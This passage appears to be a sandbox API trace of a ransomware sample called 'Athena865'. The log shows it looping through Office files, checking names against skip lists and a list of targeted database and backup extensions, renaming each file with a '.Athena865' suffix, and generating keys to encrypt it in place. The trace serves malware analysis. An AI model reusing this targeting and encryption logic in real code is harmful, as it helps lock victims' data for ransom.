(lpString=".ini") returned 4 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2=".ini") returned 1 [0143.137] lstrlenW (lpString=".sys") returned 4 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2=".sys") returned 1 [0143.137] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0143.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.Athena865") returned 73 [0143.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.139] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0143.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.140] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.140] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.141] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.141] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.152] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.156] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.156] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.156] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.157] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.157] CloseHandle (hObject=0x17c) returned 1 [0143.157] CloseHandle (hObject=0x154) returned 1 [0143.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.158] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="MSPUB_~2.HXK")) returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2=".") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="..") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="windows") returned -1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="bootmgr") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="temp") returned -1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="boot") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="ids.txt") returned 1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="perflogs") returned -1 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2="MSBuild") returned 1 [0143.158] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0143.158] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB_K_COL.HXK" | out: lpString1="MSPUB_K_COL.HXK") returned="MSPUB_K_COL.HXK" [0143.158] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0143.158] lstrlenW (lpString="Athena865") returned 9 [0143.158] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0143.158] lstrlenW (lpString=".dll") returned 4 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2=".dll") returned 1 [0143.158] lstrlenW (lpString=".lnk") returned 4 [0143.158] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2=".lnk") returned 1 [0143.159] lstrlenW (lpString=".ini") returned 4 [0143.159] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2=".ini") returned 1 [0143.159] lstrlenW (lpString=".sys") returned 4 [0143.159] lstrcmpiW (lpString1="MSPUB_K_COL.HXK", lpString2=".sys") returned 1 [0143.159] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0143.159] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.Athena865") returned 73 [0143.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.165] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0143.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.165] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.166] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.166] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.166] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.168] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.171] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.177] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.177] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.178] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.178] CloseHandle (hObject=0x17c) returned 1 [0143.178] CloseHandle (hObject=0x154) returned 1 [0143.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.178] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8527700, ftCreationTime.dwHighDateTime=0x1c33a9f, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd8527700, ftLastWriteTime.dwHighDateTime=0x1c33a9f, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2=".") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="..") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="windows") returned -1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="bootmgr") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="temp") returned -1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="pagefile.sys") returned -1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="boot") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="ids.txt") returned 1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="ntuser.dat") returned -1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="perflogs") returned -1 [0143.178] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2="MSBuild") returned 1 [0143.178] lstrlenW (lpString="MSQRY32.CHM") returned 11 [0143.178] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSQRY32.CHM" | out: lpString1="MSQRY32.CHM") returned="MSQRY32.CHM" [0143.178] lstrlenW (lpString="MSQRY32.CHM") returned 11 [0143.179] lstrlenW (lpString="Athena865") returned 9 [0143.179] lstrcmpiW (lpString1="QRY32.CHM", lpString2="Athena865") returned 1 [0143.179] lstrlenW (lpString=".dll") returned 4 [0143.179] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2=".dll") returned 1 [0143.179] lstrlenW (lpString=".lnk") returned 4 [0143.179] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2=".lnk") returned 1 [0143.179] lstrlenW (lpString=".ini") returned 4 [0143.179] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2=".ini") returned 1 [0143.179] lstrlenW (lpString=".sys") returned 4 [0143.179] lstrcmpiW (lpString1="MSQRY32.CHM", lpString2=".sys") returned 1 [0143.179] lstrlenW (lpString="MSQRY32.CHM") returned 11 [0143.179] lstrlenW (lpString="bak") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="bak") returned 1 [0143.179] lstrlenW (lpString="ba_") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="ba_") returned 1 [0143.179] lstrlenW (lpString="dbb") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="dbb") returned -1 [0143.179] lstrlenW (lpString="vmdk") returned 4 [0143.179] lstrcmpiW (lpString1=".CHM", lpString2="vmdk") returned -1 [0143.179] lstrlenW (lpString="rar") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="rar") returned -1 [0143.179] lstrlenW (lpString="zip") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="zip") returned -1 [0143.179] lstrlenW (lpString="tgz") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="tgz") returned -1 [0143.179] lstrlenW (lpString="vbox") returned 4 [0143.179] lstrcmpiW (lpString1=".CHM", lpString2="vbox") returned -1 [0143.179] lstrlenW (lpString="vdi") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="vdi") returned -1 [0143.179] lstrlenW (lpString="vhd") returned 3 [0143.179] lstrcmpiW (lpString1="CHM", lpString2="vhd") returned -1 [0143.180] lstrlenW (lpString="vhdx") returned 4 [0143.180] lstrcmpiW (lpString1=".CHM", lpString2="vhdx") returned -1 [0143.180] lstrlenW (lpString="avhd") returned 4 [0143.180] lstrcmpiW (lpString1=".CHM", lpString2="avhd") returned -1 [0143.180] lstrlenW (lpString="db") returned 2 [0143.180] lstrcmpiW (lpString1="HM", lpString2="db") returned 1 [0143.180] lstrlenW (lpString="db2") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="db2") returned -1 [0143.180] lstrlenW (lpString="db3") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="db3") returned -1 [0143.180] lstrlenW (lpString="dbf") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="dbf") returned -1 [0143.180] lstrlenW (lpString="mdf") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="mdf") returned -1 [0143.180] lstrlenW (lpString="mdb") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="mdb") returned -1 [0143.180] lstrlenW (lpString="sql") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="sql") returned -1 [0143.180] lstrlenW (lpString="sqlite") returned 6 [0143.180] lstrcmpiW (lpString1="32.CHM", lpString2="sqlite") returned -1 [0143.180] lstrlenW (lpString="sqlite3") returned 7 [0143.180] lstrcmpiW (lpString1="Y32.CHM", lpString2="sqlite3") returned 1 [0143.180] lstrlenW (lpString="sqlitedb") returned 8 [0143.180] lstrcmpiW (lpString1="RY32.CHM", lpString2="sqlitedb") returned -1 [0143.180] lstrlenW (lpString="xml") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="xml") returned -1 [0143.180] lstrlenW (lpString="$er") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="$er") returned 1 [0143.180] lstrlenW (lpString="4dd") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="4dd") returned 1 [0143.180] lstrlenW (lpString="4dl") returned 3 [0143.180] lstrcmpiW (lpString1="CHM", lpString2="4dl") returned 1 [0143.181] lstrlenW (lpString="^^^") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="^^^") returned 1 [0143.181] lstrlenW (lpString="abs") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="abs") returned 1 [0143.181] lstrlenW (lpString="abx") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="abx") returned 1 [0143.181] lstrlenW (lpString="accdb") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accdb") returned -1 [0143.181] lstrlenW (lpString="accdc") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accdc") returned -1 [0143.181] lstrlenW (lpString="accde") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accde") returned -1 [0143.181] lstrlenW (lpString="accdr") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accdr") returned -1 [0143.181] lstrlenW (lpString="accdt") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accdt") returned -1 [0143.181] lstrlenW (lpString="accdw") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accdw") returned -1 [0143.181] lstrlenW (lpString="accft") returned 5 [0143.181] lstrcmpiW (lpString1="2.CHM", lpString2="accft") returned -1 [0143.181] lstrlenW (lpString="adb") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0143.181] lstrlenW (lpString="adb") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0143.181] lstrlenW (lpString="ade") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="ade") returned 1 [0143.181] lstrlenW (lpString="adf") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="adf") returned 1 [0143.181] lstrlenW (lpString="adn") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="adn") returned 1 [0143.181] lstrlenW (lpString="adp") returned 3 [0143.181] lstrcmpiW (lpString1="CHM", lpString2="adp") returned 1 [0143.181] lstrlenW (lpString="alf") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="alf") returned 1 [0143.182] lstrlenW (lpString="ask") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="ask") returned 1 [0143.182] lstrlenW (lpString="btr") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="btr") returned 1 [0143.182] lstrlenW (lpString="cat") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="cat") returned 1 [0143.182] lstrlenW (lpString="cdb") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="cdb") returned 1 [0143.182] lstrlenW (lpString="ckp") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="ckp") returned -1 [0143.182] lstrlenW (lpString="cma") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="cma") returned -1 [0143.182] lstrlenW (lpString="cpd") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="cpd") returned -1 [0143.182] lstrlenW (lpString="dacpac") returned 6 [0143.182] lstrcmpiW (lpString1="32.CHM", lpString2="dacpac") returned -1 [0143.182] lstrlenW (lpString="dad") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="dad") returned -1 [0143.182] lstrlenW (lpString="dadiagrams") returned 10 [0143.182] lstrcmpiW (lpString1="SQRY32.CHM", lpString2="dadiagrams") returned 1 [0143.182] lstrlenW (lpString="daschema") returned 8 [0143.182] lstrcmpiW (lpString1="RY32.CHM", lpString2="daschema") returned 1 [0143.182] lstrlenW (lpString="db-journal") returned 10 [0143.182] lstrcmpiW (lpString1="SQRY32.CHM", lpString2="db-journal") returned 1 [0143.182] lstrlenW (lpString="db-shm") returned 6 [0143.182] lstrcmpiW (lpString1="32.CHM", lpString2="db-shm") returned -1 [0143.182] lstrlenW (lpString="db-wal") returned 6 [0143.182] lstrcmpiW (lpString1="32.CHM", lpString2="db-wal") returned -1 [0143.182] lstrlenW (lpString="dbc") returned 3 [0143.182] lstrcmpiW (lpString1="CHM", lpString2="dbc") returned -1 [0143.182] lstrlenW (lpString="dbs") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dbs") returned -1 [0143.183] lstrlenW (lpString="dbt") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dbt") returned -1 [0143.183] lstrlenW (lpString="dbv") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dbv") returned -1 [0143.183] lstrlenW (lpString="dbx") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dbx") returned -1 [0143.183] lstrlenW (lpString="dcb") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dcb") returned -1 [0143.183] lstrlenW (lpString="dct") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dct") returned -1 [0143.183] lstrlenW (lpString="dcx") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dcx") returned -1 [0143.183] lstrlenW (lpString="ddl") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="ddl") returned -1 [0143.183] lstrlenW (lpString="dlis") returned 4 [0143.183] lstrcmpiW (lpString1=".CHM", lpString2="dlis") returned -1 [0143.183] lstrlenW (lpString="dp1") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dp1") returned -1 [0143.183] lstrlenW (lpString="dqy") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dqy") returned -1 [0143.183] lstrlenW (lpString="dsk") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dsk") returned -1 [0143.183] lstrlenW (lpString="dsn") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dsn") returned -1 [0143.183] lstrlenW (lpString="dtsx") returned 4 [0143.183] lstrcmpiW (lpString1=".CHM", lpString2="dtsx") returned -1 [0143.183] lstrlenW (lpString="dxl") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="dxl") returned -1 [0143.183] lstrlenW (lpString="eco") returned 3 [0143.183] lstrcmpiW (lpString1="CHM", lpString2="eco") returned -1 [0143.184] lstrlenW (lpString="ecx") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="ecx") returned -1 [0143.184] lstrlenW (lpString="edb") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="edb") returned -1 [0143.184] lstrlenW (lpString="epim") returned 4 [0143.184] lstrcmpiW (lpString1=".CHM", lpString2="epim") returned -1 [0143.184] lstrlenW (lpString="fcd") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fcd") returned -1 [0143.184] lstrlenW (lpString="fdb") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fdb") returned -1 [0143.184] lstrlenW (lpString="fic") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fic") returned -1 [0143.184] lstrlenW (lpString="flexolibrary") returned 12 [0143.184] lstrlenW (lpString="fm5") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fm5") returned -1 [0143.184] lstrlenW (lpString="fmp") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fmp") returned -1 [0143.184] lstrlenW (lpString="fmp12") returned 5 [0143.184] lstrcmpiW (lpString1="2.CHM", lpString2="fmp12") returned -1 [0143.184] lstrlenW (lpString="fmpsl") returned 5 [0143.184] lstrcmpiW (lpString1="2.CHM", lpString2="fmpsl") returned -1 [0143.184] lstrlenW (lpString="fol") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fol") returned -1 [0143.184] lstrlenW (lpString="fp3") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fp3") returned -1 [0143.184] lstrlenW (lpString="fp4") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fp4") returned -1 [0143.184] lstrlenW (lpString="fp5") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fp5") returned -1 [0143.184] lstrlenW (lpString="fp7") returned 3 [0143.184] lstrcmpiW (lpString1="CHM", lpString2="fp7") returned -1 [0143.184] lstrlenW (lpString="fpt") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="fpt") returned -1 [0143.185] lstrlenW (lpString="frm") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="frm") returned -1 [0143.185] lstrlenW (lpString="gdb") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="gdb") returned -1 [0143.185] lstrlenW (lpString="gdb") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="gdb") returned -1 [0143.185] lstrlenW (lpString="grdb") returned 4 [0143.185] lstrcmpiW (lpString1=".CHM", lpString2="grdb") returned -1 [0143.185] lstrlenW (lpString="gwi") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="gwi") returned -1 [0143.185] lstrlenW (lpString="hdb") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="hdb") returned -1 [0143.185] lstrlenW (lpString="his") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="his") returned -1 [0143.185] lstrlenW (lpString="ib") returned 2 [0143.185] lstrcmpiW (lpString1="HM", lpString2="ib") returned -1 [0143.185] lstrlenW (lpString="idb") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="idb") returned -1 [0143.185] lstrlenW (lpString="ihx") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="ihx") returned -1 [0143.185] lstrlenW (lpString="itdb") returned 4 [0143.185] lstrcmpiW (lpString1=".CHM", lpString2="itdb") returned -1 [0143.185] lstrlenW (lpString="itw") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="itw") returned -1 [0143.185] lstrlenW (lpString="jet") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="jet") returned -1 [0143.185] lstrlenW (lpString="jtx") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="jtx") returned -1 [0143.185] lstrlenW (lpString="kdb") returned 3 [0143.185] lstrcmpiW (lpString1="CHM", lpString2="kdb") returned -1 [0143.185] lstrlenW (lpString="kexi") returned 4 [0143.186] lstrcmpiW (lpString1=".CHM", lpString2="kexi") returned -1 [0143.186] lstrlenW (lpString="kexic") returned 5 [0143.186] lstrcmpiW (lpString1="2.CHM", lpString2="kexic") returned -1 [0143.186] lstrlenW (lpString="kexis") returned 5 [0143.186] lstrcmpiW (lpString1="2.CHM", lpString2="kexis") returned -1 [0143.186] lstrlenW (lpString="lgc") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="lgc") returned -1 [0143.186] lstrlenW (lpString="lwx") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="lwx") returned -1 [0143.186] lstrlenW (lpString="maf") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="maf") returned -1 [0143.186] lstrlenW (lpString="maq") returned 